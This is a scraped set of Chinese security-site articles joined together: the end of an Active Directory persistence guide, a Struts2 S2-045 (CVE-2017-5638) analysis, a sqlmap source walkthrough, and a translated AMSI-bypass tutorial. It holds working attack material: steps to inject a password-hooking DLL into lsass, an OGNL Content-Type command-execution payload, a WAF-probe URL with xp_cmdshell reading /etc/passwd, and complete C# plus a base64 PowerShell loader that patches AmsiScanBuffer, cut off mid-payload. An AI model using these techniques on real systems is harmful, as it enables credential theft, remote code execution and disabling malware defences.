Sneaky Active Directory Persistence #15: Leverage AdminSDHolder & SDProp to (Re)Gain Domain Admin Rights

AdminSDHolder是位于Active Directory中的系统分区

组策略

Sneaky Active Directory Persistence #17: Group Policy

策略对象在持久化及横向渗透中的应用

组策略概述
组策略使管理员能够管理Active Directory中的计算机和用户。组策略保存为组策略对象(GPO)

攻击者可以滥用GPO,通过欺诈方式进一步自动化地传播恶意软件、实现持久化驻留目的

恶意软件可以利用GPO穿越IDS/IPS等防火墙,最终访问到域内所有的系统。

GPO的另一优点就是攻击过程期间并不需要目标系统在线,一旦离线状态下的目标系统重新登录到域中,恶意的GPO载荷就会被投递到目标系统。

组策略默认情况下每90分钟(域控制器5分钟)可包括安全选项,注册表项,软件安装以及启动和关闭脚本以及域成员刷新组策略设置。这意味着组策略在目标计算机上执行配置的设置。

SYSVOL是所有经过身份验证的用户具有读取权限的Active Directory中的域范围共享。SYSVOL包含登录脚本,组策略数据以及其他域控制器中需要使用的全域数据。

SYSVOL共享将自动同步并在所有域控制器之间共享。

其实我认为组策略也相当于远控,可以把配置脚本让域内的每一台电脑都种上马批量执行一遍。

或者每周在所有域上运行Mimikatz获取明文密码,以及获取某种类型文件这要通过编写脚本实现。

远程搜索某个本地文件(如proof.txt)

Get-Content | ForEach-Object {Getwmiobject CIM_DataFile -filter »Drive=’c:’ AND Filename=’proof’ AND extension=’txt’ -Impersonate 3 -computername $_ | Select PSComputername, Name -Unique}
一篇文章精通PowerShell Empire 2.3(上)

防:

定期审核GPO。

为GPO使用定义清晰的命名约定

记录GPO的创建动作

Hook PasswordChangeNotify
http://wooyun.jozxing.cc/static/drops/tips-13079.html

介绍一个更加隐蔽且不需要使用Mimikatz的后门方法,通过Hook PasswordChangeNotify拦截修改的帐户密码。

在修改域控密码时会进行如下同步操作:

a. 当修改域控密码时,LSA首先调用PasswordFileter来判断新密码是否符合密码复杂度要求

b. 如果符合,LSA接着调用PasswordChangeNotify在系统上同步更新密码

函数PasswordChangeNotify存在于rassfm.dll

poc下载地址:
https://github.com/clymb3r/Misc-Windows-Hacking

使用VS2015开发环境,MFC设置为在静态库中使用MFC

编译工程,生成HookPasswordChange.dll

下载Powershell的dll注入脚本

https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1

在代码尾部添加如下代码:

Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll –procname lsass
并命名为HookPasswordChangeNotify.ps1

上传HookPasswordChangeNotify.ps1和HookPasswordChange.dll

管理员权限执行:

PowerShell.exe -ExecutionPolicy Bypass -File HookPasswordChangeNotify.ps1

将获取到的密码上传到http服务器:

http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html

Other
Kerberos AD 认证过程
Kerberos & KRBTGT帐号介绍
lapsg理解
Active Directory攻击和防御资源
烂土豆 – 从服务帐户到系统的特权升级
Mimikatz 非官方文档
linux/UNIX/BSD 的后期渗透思路
Metasploit 的后期渗透思路
文章难免有些地方会错请指证,或者有哪类内网渗透各种技巧可以发给我 qq 604865997,到时候我将会整理成书籍印出来免费送一本。

本文由安全客原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/92646
安全客 – 有思想的安全新媒体
渗透 内网 域安全 安全总结

mx7krshell 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读

三层网络靶场搭建&MSF内网渗透
2019-02-22 14:30:46

Drupal SA-CORE-2019-003 远程命令执行分析
2019-02-22 11:30:15

RSAC 2019:最全大会亮点议题抢先揭秘
2019-02-22 10:32:46

Pony Loader窃密木马样本分析
2019-02-22 10:30:17
|发表评论
发表你的评论吧
昵称
管理员
换一个
|评论列表
加载更多
mx7krshell
最终靠的也只有自己
文章
2
粉丝
11
TA的文章
我所了解的渗透测试——Linux后门类型
2018-08-13 15:38:29
我所了解的内网渗透——内网渗透知识大总结
2017-12-28 13:59:04
输入关键字搜索内容
相关文章
S4U2Self在活动目录持久化中的应用
内网渗透知识基础及流程
如何查找活动目录委派
攻击活动目录:无约束委派及域林信任
大连暗泉信息技术有限公司招聘网络安全工程师
360企业安全集团2019秋招启动(安服专场)
针对微软活动目录(AD)的七大高级攻击技术及相应检测方法
热门推荐
文章目录
信息收集
获取域方法
SYSVOL
MS14-068 Kerberos
SPN扫描
Kerberos黄金门票
Kerberos银票务
域服务账号破解
凭证盗窃
ARP
获取AD Hash
使用VSS卷影副本
NTDSUtil获取ntds.dit文件
PowerShell提取ntds.dit
使用Mimikatz提取
使用PowerShell Mimikatz
Mimikatz的DCSync
NTDS.dit中提取哈希
AD持久化
活动目录持久性技巧
DSRM密码同步
缓解措施
Security Support Provider
SID历史
AdminSDHolder&SDProp
组策略
组策略概述
Hook PasswordChangeNotify
Other
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66
Loading…0daybank

cve-2017-5638

首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP 登录| 注册
【漏洞分析】S2-045 原理初步分析(CVE-2017-5638)
阅读量 56386 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2017-03-07 17:25:47
http://p3.qhimg.com/t01ac754bb7df191543.png

作者:angelwhu

传送门:【重大漏洞预警】Struts 2 远程代码执行漏洞(CVE-2017-5638)(含PoC)

0x00 漏洞公告

请看https://cwiki.apache.org/confluence/display/WW/S2-045

这个漏洞应该后续会有官方详细分析。这里谈谈个人的理解,也分享下重现漏洞的思路。

首先,仔细阅读漏洞描述:

Problem

It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn’t valid an exception is thrown which is then used to display an error message to a user.

描述中明确了两点:

通过Content-Type这个header头,注入OGNL语言,进而执行命令。

漏洞的点在于,由于Strus2对错误消息处理时,出现了纰漏。

0x01 关于Struts2上传机制

部分网上描述为:基于 Jakarta plugin插件。

这种描述是不对的,Struts2有其插件机制,如之前爆过S2-037漏洞的REST插件。但Struts2上传默认使用的是org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest类,对上传数据进行解析。不存在插件这个说法,只不过它最终调用了第三方组件common upload完成上传操作。

注:以下Struts2源码版本均是2.3.20。

具体可以看看源码流程,首先进入StrutsPrepareAndExecuteFilter类,这是Struts2默认配置的入口过滤器。在里面可以看到,Struts2首先对输入请求对象request的进行封装:

request = prepare.wrapRequest(request);
跟进这条语句,可以看到封装为StrutsRequestWrapper的过程:

if (request instanceof StrutsRequestWrapper) {
return request;
}
String content_type = request.getContentType();
if (content_type != null && content_type.contains(“multipart/form-data”)) {//判断是不是post表单
MultiPartRequest mpr = getMultiPartRequest();//默认返回JakartaMultiPartRequest类
LocaleProvider provider = getContainer().getInstance(LocaleProvider.class);
request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider);
} else {
request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);
}
return request;
上面我注释的两个地方便是关键。

multipart/form-data
网上流传的POC中有这么一部分:

#nike=’multipart/form-data’
就是使content_type.contains(“multipart/form-data”)判断为true。 当然,完全可以在其他地方添加multipart/form-data这个字符串。

getMultiPartRequest()
这个方法可以继续追踪下去。通过配置struts.multipart.parser属性,可以指定不同的解析类,而默认的就是上面说的org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest类。

网上可以查阅得到这样的解释:

struts.multipart.parser:该属性指定处理multipart/form-data的MIME类型(文件上传)请求的框架,该属性支持cos、pell和jakarta等属性值,即分别对应使用cos的文件上传框架、pell上传及common-fileupload文件上传框架。该属性的默认值为jakarta。

更进一步的官方说明:https://cwiki.apache.org/confluence/display/WW/File+Upload#FileUpload-AlternateLibraries

0x02 漏洞补丁对比

漏洞分析必然要补丁对比了。查看struts2在git上的commit,发现描述为Uses default error key if specified key doesn’t exist的修改:

2.5.10.1版本修改:

https://github.com/apache/struts/commit/b06dd50af2a3319dd896bf5c2f4972d2b772cf2b

http://p2.qhimg.com/t01c32e803b8526398a.jpg

2.3.32版本修改:

https://github.com/apache/struts/commit/352306493971e7d5a756d61780d57a76eb1f519a

http://p3.qhimg.com/t01b62d31ed4376429b.jpg

可以清晰的看到,都去掉了这样的一个方法:

LocalizedTextUtil.findText(……);
然后,就得到了第三个关键:

sink点

后面通过动态调试追踪可以发现:就是通过这个方法LocalizedTextUtil.findText,最终到达执行命令的地方。这里暂时可以看做是一个sink点。

当payload进入这里后,就可以通过OGNL执行命令了。同时,直观感觉功能是在处理error消息。

0x03 漏洞重现及调试分析

1. 简单重现

环境配置:

tomcat7

struts2.3.20

这里说一下,通过上面的原理分析。可以猜到,并不需要找个上传的地方。只需要模拟上传发包即可,危害巨大啊……

所以,我使用Struts2.3.20版本的struts2-blankwar包,直接测试漏洞:

http://p5.qhimg.com/t01eafc0a0b219de1d0.jpg

我用的POC,是之前版本的。单纯测试并验证我的想法:

Content-Type: haha~multipart/form-data %{#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec(‘calc’)};
得到的结论是:

直接在Content-Type注入OGNL语句,即可执行命令。当然,包含multipart/form-data字符串。

2. 调试分析

接下来就看看调试关键地方了,能够更进一步了解原理。通过上面补丁对比,以及对流程的掌握。在JakartaMultiPartRequest的parse和buildErrorMessage方法下断点:

http://p8.qhimg.com/t01aac8e93babc7a78a.jpg

可以看到,OGNL语句注入进去了。执行完上面的语句,就弹出计算器了。整个过程,有兴趣可以走一下。

0x04 总结

漏洞的原理就是:Struts2默认解析上传文件的Content-Type头,存在问题。在解析错误的情况下,会执行错误信息中的OGNL代码。

以上是个人分析,期待官方解析~ 研究原理很有趣~

传送门:【重大漏洞预警】Struts 2 远程代码执行漏洞(CVE-2017-5638)(含PoC)

本文转载自: Paper
如若转载,请注明出处: http://paper.seebug.org/241/
安全客 – 有思想的安全新媒体
安全知识

安全客 官方小编 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读

三层网络靶场搭建&MSF内网渗透
2019-02-22 14:30:46

Drupal SA-CORE-2019-003 远程命令执行分析
2019-02-22 11:30:15

RSAC 2019:最全大会亮点议题抢先揭秘
2019-02-22 10:32:46

Pony Loader窃密木马样本分析
2019-02-22 10:30:17
|发表评论
发表你的评论吧
昵称
Dir溢出大神
换一个
|评论列表
还没有评论呢,快去抢个沙发吧~
安全客
有思想的安全新媒体
文章
1137
粉丝
52
TA的文章
安全客 RSAC 2019 专题报道
2019-02-22 14:30:51
从RSA 2019创新沙盒“十强”看网络安全技术动向
2019-02-22 14:27:10
RSAC 2019:最全大会亮点议题抢先揭秘
2019-02-22 10:32:46
关于境内大量家用路由器DNS被篡改情况通报
2019-02-21 13:35:02
GitHub上发布后即登顶的老司机渗透教程,你的小本本备好了吗?
2019-02-20 19:35:06
输入关键字搜索内容
相关文章
360 | 数字货币钱包APP安全威胁概况
以太坊智能合约安全入门了解一下(下)
对恶意勒索软件Samsam多个变种的深入分析
360 | 数字货币钱包安全白皮书
Json Web Token历险记
揪出底层的幽灵:深挖寄生灵Ⅱ
简单五步教你如何绕过安全狗
热门推荐
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66 0daybank

sqlmap

sqlmap 内核分析 I: 基础流程

阅读量    59063 | 评论 2

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

作者:@v1ll4n(安全研发工程师,现就职于长亭科技 )

一直在想准备一系列 sqlmap 的文章,担心会不会因为太老太旧了被大家吐槽,思前想后也查了一些现有的资料,还是准备出一部分关于 sqlmap 关键技术细节的探讨。同时也在对其核心的讨论中,提炼出一些思想与方法。

我相信在阅读本文的读者中,很大一部分人都是曾经尝试阅读过 sqlmap 源码的同学。但是在实际阅读的时候,我们发现大家总是存在各种各样奇葩的困难与困惑。

“SqlMap 源码为什么会有大几百行一千行的方法啊”“它里面 conf 和 kb 又是啥?这两个全局变量里面到底存了啥?”“为什么我直接把 sqlmap 的 xml 取出来,还是并不是特别方便使用他们的 payload”

我相信这些疑问大家肯定第一次在阅读这个项目的事,都会遇到。实际上,并不是因为 sqlmap 项目的水平高导致大家看不懂。而是由于项目背负了太多的历史包袱,导致在接近十年的发展中,开发者与后期维护者并没有对这款工具进行重构与大规模重写,反而是继续使用 python2 对其缝缝补补。

在本系列文章中,我们主要针对 sqlmap 的最核心的方方面面进行分析,本文主要针对基础流程进行介绍与描述,本文由非常细致的 sqlmap 源码解读,希望有需要的读者可以从中受益。

 

0x00 准备工作

想要阅读 sqlmap 源码我相信大家的选择肯定更多的是从 github 下直接 clone 代码到本地,直接使用本地编辑器或者 IDE 打开直接来分析。所以基本操作也就是

git clone https://github.com/sqlmapproject/sqlmap
cd sqlmap
进入 sqlmap 的 repos 下,直接打开编辑器吧!

当然很多读者是 Python3 用户,其实也没有必要费很大力气在本机上安装 Python2 然后再进行操作。笔者使用的环境是

  • Mac OS X
  • Pyenv
  • VSCode

推荐使用 Pyenv(+virtualenv) 构建 Python 环境运行 sqlmap。

 

0x01 初始化与底层建筑

笔者当然可以直接指出所有的重要逻辑在什么位置,但是这样并不好。这样做的后果就是大家发出奇怪的疑问:

它里面 conf 和 kb 又是啥?这两个全局变量里面到底存了啥?

逐步熟悉整个项目的构建和项目中贯穿全局的两个奇怪的全局变量,对于加速理解 sqlmap 的核心逻辑起了很大的作用。在笔者的工作和实践中,确实是很有感触。

所以我们还是从头看起吧!

我们在上图中,可以找到很明显的程序命令行入口,我们暂且只分析命令行入口所以,我把无关的东西全部打了马赛克,所以接下来我们看到 main 函数直接来了解

我相信大家看到了上图应该就知道我们主要应该看 try 中的内容。实际上 except 中指的是 sqlmap 中各种各样异常处理,包含让程序退出而释放的异常/用户异常以及各种预期或非预期异常,在 finally 中,大致进行了数据库(HashDB)的检查/恢复/释放以及 dumper 的收尾操作和多线程的资源回收操作。具体的不重要的代码我们就不继续介绍了,接下来直接来了解比较重要的部分吧。

在实际在工作部分中,我们发现了 1-4 函数对环境和基础配置进行了一同操作,然后在 5 步骤的时候进行步骤初始化,然后开始启动 sqlmap。实际上这些操作并不是一无是处,接下来有详有略介绍这些步骤究竟发生了什么。

  1. 在 DirtyPatches 中,首先设定了 httplib 的最大行长度(httplib._MAXLINE),接下来导入第三方的 windows 下的 ip地址转换函数模块(win_inet_pton),然后对编码进行了一些替换,把 cp65001 替换为 utf8 避免出现一些交互上的错误,这些操作对于 sqlmap 的实际功能影响并不是特别大,属于保证起用户体验和系统设置的正常选项,不需要进行过多关心。
  2. 在环境检查中,做了如下操作:检查模块路径,检查 Python 版本,导入全局变量。我们可能并不需要关心太多这一步,只需要记得在这一步我们导入了几个关键的全局变量:("cmdLineOptions", "conf", "kb"),需要提醒大家的是,直接去 lib.core.data 中寻找这几个变量并不是明智的选择,因为他们并不是在这里初始化的(说白了就是找到了定义也没有用,只需要知道有他们几个就够啦)。
  3. 初始化各种资源文件路径。
  4. 打印 Banner。
  5. 这一部分可以说是非常关键了,虽然表面上仍然是属于初始化的阶段,但是实际上,如果不知晓这一步,面对后面的直接对全局变量 kb 和 conf 的操作将会变的非常奇怪和陌生。在这步中,我们进行了配置文件初始化,知识库(KnowledgeBase初始化)以及用户操作的 Merge 和初始化。我们在之后的分析中如果遇到了针对 kb 和 conf 的操作,可以直接在这个函数对应的 lib.core.option 模块中寻找对应的初始化变量的定义。当然,这一步涉及到的一些 kb/conf 的 fields 也可能来源于 lib.parse.cmdline 中,可以直接通过 ctrl+F 搜索到

  1. 中主要包含所有初始变量的初始值,这些初始值在 init() 的设定主要是引用各种各样的函数来完成基础设置,我们没有必要依次对其进行分支,只需要用到的时候知道回来寻找就可以了。
  2. 冒烟测试,测试程序本身是否可以跑得通。
  3. 功能测试,测试 sqlmap 功能是否完整。

进入上一段代码的条件是 if not conf.updateAll,这个是来源于 lib.parse.cmdline 中定义的更新选项,如果这个选项打开,sqlmap 会自动更新并且不会执行后续测试步骤和实际工作的步骤。

在实际的启动代码中,笔者在上图中标注了两处,我们在使用命令行的时候,更多的是直接调用 start() 函数,所以我们直接跟入其中寻找之后需要研究的部分。

 

0x02 测试前的目标准备

当我们找到 start() 函数的时候,映入眼帘的实际上是一个很平坦的流程,我们简化一下,以下图代码为例:

我们仍然看到了 conf 中一些很奇怪的选项,针对这些选项我们在 0x01 节中强调过,可以在某一些地方找到这些选项的线索,我们以 conf.direct 为例,可以在 lib.parse.cmdline 中明确找到这个选项的说明:

根据说明,这是直连数据库的选项,所以我们可能暂时并不需要关心他,我们暂时只关注 sqlmap 是如何检测漏洞的,而不关心他是怎么样调用数据库相关操作的。

接下来稍有一些想法的读者当然知道,我们直接进行第四部分针对这个目标循环的分析是最简单有效的办法了!

好的,接下来我们就打开最核心的检测方法:

进入循环体之后,首先进行检查网络是否通断的选项,这个选项很容易理解我们就不多叙述了;确保网络正常之后,开始设置 conf.url,conf.method,conf.data,conf.cookie 和 headers 等字段,并且在 parseTargetUrl() 中进行各种合理性检查;之后会根据 HTTP 的 Method 提取需要检查的参数;随后如果当前启动时参数接受了多个目标的话,会在第4步中做一些初始化的工作。

在完成上述操作之后,执行 setupTargetEnv() 这个函数也是一个非常重要的函数,其包含如下操作:

def setupTargetEnv():
    _createTargetDirs()
    _setRequestParams() 
    _setHashDB()
    _resumeHashDBValues()
    _setResultsFile()
    _setAuthCred()
其中除了 setRequestParams() 都是关于本身存储(缓存)扫描上下文和结果文件的。当然我们最关注的点肯定是setRequestParams() 这个点。在深入了解这一个步骤之后,我们发现其中主要涉及到如下操作:

所以我们回归之前的 start() 方法中的 foreach targets 的循环体中,在 setupTargetEnv() 之后,我们现在已经知道了关于这个目标的所有的可以尝试注入测试的点都已经设置好了,并且都存在了 conf.paramDict 这个字典中了。

至此,在正式开始检测之前,我们已经知道,conf.url, conf.method, conf.headers ... 之类的包含基础的测试的目标的信息,在 conf.paramDict 中包含具体的不同位置的需要测试的参数的字典,可以方便随时渲染 Payload。关于其具体的行为,其实大可不必太过关心,因为我们其实并不需要具体的处理细节,这些细节应该是在我们遇到问题,或者遇到唔清楚的地方再跳出来在这些步骤中寻找,并且进行研究

 

0x03 万事俱备

可以说在读者了解上面两节讲述的内容的时候,我们就可以正式探查真正的 SQL 注入检测时候 sqlmap 都坐上了什么。其实简单来说,需要经过下面步骤:

笔者通过对 controller.py 中的 start() 函数进行分析,得出了上面的流程图。在整个检测过程中,我们暂且不涉及细节;整个流程都是针对检查一个目标所要经历的步骤。

checkWaf

在 checkWaf() 中,文档写明:Reference: http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse,我们可以在这里发现他的原理出处,有兴趣的读者可以自行研究。在实际实现的过程中代码如下:

笔者在关键部分已经把标注和箭头写明,方便大家理解。我们发现 payload 这个变量是通过随机一个数字 + space + 一个特制 Payload(涉及到很多的关于敏感关键词,可以很容易触发 WAF 拦截)。

随即,sqlmap 会把 payload 插入该插入的位置:对于 GET 类的请求,sqlmap 会在之前的 query 语句后面加入一个新的参数,这个参数名通过 randomStr() 生成,参数的值就是经过处理的 Payload。如果有读者不理解,我们在这里可以举一个例子:

如果我们针对

http://this.is.a.victim.com/article.php?id=1
这样的 URL 进行 Waf 的检查,sqlmap 会发起一个
http://this.is.a.victim.com/article.php?id=1&mbjwe=2472%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--/%
2A%2A/%3B%20EXEC%20xp_cmdshell%28%27cat%20../../../etc/passwd%27%29%23
的新的请求,这个请求会有很大概率触发 Waf 的反应,然后 sqlmap 通过判断返回页面和之前页面的 Page Ratio 来判断是否触发了 WAF。

我们似乎遇到一些问题

有心的读者可能发现,我们在上小节出现了一个神奇陌生的词 Page Ratio, 这个词其实在整个 sqlmap 中是非常重要的存在,我们之后会在后续的文章中详细介绍这部分理论。

 

0x04 然后呢

其实我们当然可以继续讲解每一个函数都做了什么,但是限于篇幅问题,我们可能要先暂停一下了;与此同时,我们本文的内容“基础流程”实际上已经介绍完了,并且引出了我们需要在下一篇文章介绍的概念之一“Page Ratio”。

所以接下来我们可能要结束本文了,但是我更希望的是,每一个读者都能够尝试自己分析,自己去吃透 sqlmap 的细节。

 

0x05 结束语

感谢读者的耐心,在接下来的文章中,笔者将会更加深入介绍 sqlmap 最核心的算法和细节处理。

 
长亭科技 认证
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读

三层网络靶场搭建&MSF内网渗透

Drupal SA-CORE-2019-003 远程命令执行分析

RSAC 2019:最全大会亮点议题抢先揭秘

Pony Loader窃密木马样本分析

|发表评论

|评论列表
  • 长亭成都有坑位吗

  • 膜拜长亭的大佬

0daybank

yagaa

yagaa
首页
文章

漏洞
SRC导航
内容精选

输入关键词搜索

APP 登录| 注册
如何绕过AMSI执行任意恶意PowerShell代码
阅读量 46072 | 评论 4 稿费 130

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2018-10-30 16:30:57
译文声明
本文是翻译文章,文章原作者,文章来源:github.io
原文地址:https://0x00-0x00.github.io/research/2018/10/28/How-to-bypass-AMSI-and-Execute-ANY-malicious-powershell-code.html

译文仅供参考,具体内容表达以及含义原文为准

×

概述
在此前,我曾经介绍过如何从本地管理员用户手动获取SYSTEM Shell。在渗透测试期间,这是一个非常有价值的步骤,但往往会在最后面进行,因为这一步的前提是已经获得了目标主机的访问权限。
而我们本文介绍的方法,对于渗透测试的早期会更有用一些,因为AMSI(反恶意软件扫描接口)可能会对获取Shell的过程以及后期漏洞利用(Post-exploitation)阶段造成麻烦。

关于AMSI
AMSI,即ANTI MALWARE SCAN INTERFACE(反恶意软件扫描接口)。顾名思义,其作用就是扫描、检测并阻止任何有害的程序。
其作用的直观体现如下图所示:

如果大家拥有Windows环境中渗透测试的经验,可能会发现几乎所有公开的脚本都会出现这样的错误,比如Nishang、Empire、PowerSploit和其他比较知名的PowerShell脚本。
而这一错误的产生,就是AMSI防护的结果。

AMSI的工作原理
AMSI使用基于字符串的检测方法,来确定PowerShell代码是否为恶意代码。
示例如下:

其中,amsiutils这个关键词被禁止了。如果在名称中包含这个单词,那么就会被AMSI识别为恶意代码。

如何绕过字符串检测
大家都知道,字符串检测很容易绕过,只要对使用的字符串稍加改动就可以。对其进行编码,或者将其拆分为块后再重新组合,就可以实现绕过。
以下是绕过字符串检测,执行“被禁止”代码的3种方法:

简单地将单词分成两部分,就足以欺骗这种检测方案。我们在混淆过程中,发现了很多这样的情况。但在大多数情况下,这种方法可能会失败。

在某些情况下,通过对被禁用的代码进行Base 64解码,就可以绕过这种方案。

当然,也可以使用XOR来欺骗AMSI,并在运行时将字符串解码到内存中。这是更为有效的方式,因为需要更高级的技术来对其进行检测。
上述所有技术,都是使用“迂回战术”逃避字符串检测,但我们不希望如此。我们希望这些脚本能以原始的状态来执行,而原始的状态就是指AMSI会阻止其运行的状态。

通过内存修补绕过AMSI
这才是真正意义的“绕过”。在严格意义上,我们并没有进行“绕过”,而是直接禁用了它。
在AMSI中,有一些函数是在运行PowerShell代码之前执行的(从PowerShell v3.0开始),因此,为了完全绕过AMSI以执行任意PowerShell恶意软件,我们需要对这些函数进行内存修补(Memory Patch),以实现对AMSI的完全禁用。
我在网上找到的最佳方案是: https://www.cyberark.com/threat-research-blog/amsi-bypass-redux 。这一方案适用于最新版本的Windows。
有关于这种内存修补方法的详细信息,请参考上面的这篇文章,我不会在此过多涉及。在我们的研究中,主要对这种技术进行武器化,并且将其应用于PowerShell脚本中,从而实现对它的实际利用。
我们将使用上述技术,编译一个C# DLL,然后在PowerShell会话中加载并执行此代码,完全禁用AMSI。

using System;
using System.Runtime.InteropServices;

namespace Bypass
{
public class AMSI
{
[DllImport(“kernel32”)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport(“kernel32”)]
public static extern IntPtr LoadLibrary(string name);
[DllImport(“kernel32”)]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

[DllImport(“Kernel32.dll”, EntryPoint = “RtlMoveMemory”, SetLastError = false)]
static extern void MoveMemory(IntPtr dest, IntPtr src, int size);

public static int Disable()
{
IntPtr TargetDLL = LoadLibrary(“amsi.dll”);
if (TargetDLL == IntPtr.Zero)
{
Console.WriteLine(“ERROR: Could not retrieve amsi.dll pointer.”);
return 1;
}

IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, “AmsiScanBuffer”);
if (AmsiScanBufferPtr == IntPtr.Zero)
{
Console.WriteLine(“ERROR: Could not retrieve AmsiScanBuffer function pointer”);
return 1;
}

UIntPtr dwSize = (UIntPtr)5;
uint Zero = 0;
if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))
{
Console.WriteLine(“ERROR: Could not change AmsiScanBuffer memory permissions!”);
return 1;
}

/*
* This is a new technique, and is still working.
* Source: https://www.cyberark.com/threat-research-blog/amsi-bypass-redux/
*/
Byte[] Patch = { 0x31, 0xff, 0x90 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);

Console.WriteLine(“AmsiScanBuffer patch has been applied.”);
return 0;
}
}
}
现在,我们已经拥有了DLL文件,其使用方法如下图所示:

至此,就能够自由使用被禁止的关键词。从此之后,就不再有AMSI的限制。我们可以自由加载任何PowerShell脚本,无论该脚本是否属于恶意脚本。如果将此类攻击与恶意工具相结合,那么就能够100%绕过(禁用)AMSI。

使用PowerShell实现武器化
当然,在渗透测试中,我们必须拥有自动应用此类技术的工具。同样,当我们通过C#使用.NET框架时,可以创建一个反映我们的DLL运行时内存的Posh脚本,而无需再将DLL预先放置在硬盘上。
以下是禁用AMSI所需的PowerShell脚本:

function Bypass-AMSI
{
if(-not ([System.Management.Automation.PSTypeName]”Bypass.AMSI”).Type) {
[Reflection.Assembly]::Load([Convert]::FromBase64String(“TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAKJrPYwAAAAAAAAAAOAAIiALATAAAA4AAAAGAAAAAAAAxiwAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACAAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAHEsAABPAAAAAEAAAIgDAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAADUKwAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAA1AwAAAAgAAAADgAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAIgDAAAAQAAAAAQAAAAQAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAFAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAClLAAAAAAAAEgAAAACAAUAECEAAMQKAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMwBACqAAAAAQAAEXIBAABwKAIAAAYKBn4QAAAKKBEAAAosDHITAABwKBIAAAoXKgZyawAAcCgBAAAGCwd+EAAACigRAAAKLAxyiQAAcCgSAAAKFyobaigTAAAKDBYNBwgfQBIDKAMAAAYtDHL9AABwKBIAAAoXKhmNFgAAASXQAQAABCgUAAAKGSgVAAAKEwQWEQQZKBYAAAoHHxsoFwAAChEEGSgEAAAGcnMBAHAoEgAAChYqHgIoGAAACioAAEJTSkIBAAEAAAAAAAwAAAB2NC4wLjMwMzE5AAAAAAUAbAAAABwDAAAjfgAAiAMAAAAEAAAjU3RyaW5ncwAAAACIBwAAxAEAACNVUwBMCQAAEAAAACNHVUlEAAAAXAkAAGgBAAAjQmxvYgAAAAAAAAACAAABV5UCNAkCAAAA+gEzABYAAAEAAAAaAAAABAAAAAEAAAAGAAAACgAAABgAAAAPAAAAAQAAAAEAAAACAAAABAAAAAEAAAABAAAAAQAAAAEAAAAAAKkCAQAAAAAABgDRASIDBgA+AiIDBgAFAfACDwBCAwAABgAtAb8CBgC0Ab8CBgCVAb8CBgAlAr8CBgDxAb8CBgAKAr8CBgBEAb8CBgAZAQMDBgD3AAMDBgB4Ab8CBgBfAW0CBgCAA7gCBgDcACIDBgDSALgCBgDpArgCBgCqALgCBgDoArgCBgBcArgCBgBRAyIDBgDNA7gCBgCXALgCBgCUAgMDAAAAACYAAAAAAAEAAQABABAAfQBgA0EAAQABAAABAAAvAAAAQQABAAcAEwEAAAoAAABJAAIABwAzAU4AWgAAAAAAgACWIGcDXgABAAAAAACAAJYg2ANkAAMAAAAAAIAAliCWA2kABAAAAAAAgACRIOcDcgAIAFAgAAAAAJYAjwB5AAsABiEAAAAAhhjiAgYACwAAAAEAsgAAAAIAugAAAAEAwwAAAAEAdgMAAAIAYQIAAAMApQMCAAQAhwMAAAEAvgMAAAIAiwAAAAMAaAIJAOICAQARAOICBgAZAOICCgApAOICEAAxAOICEAA5AO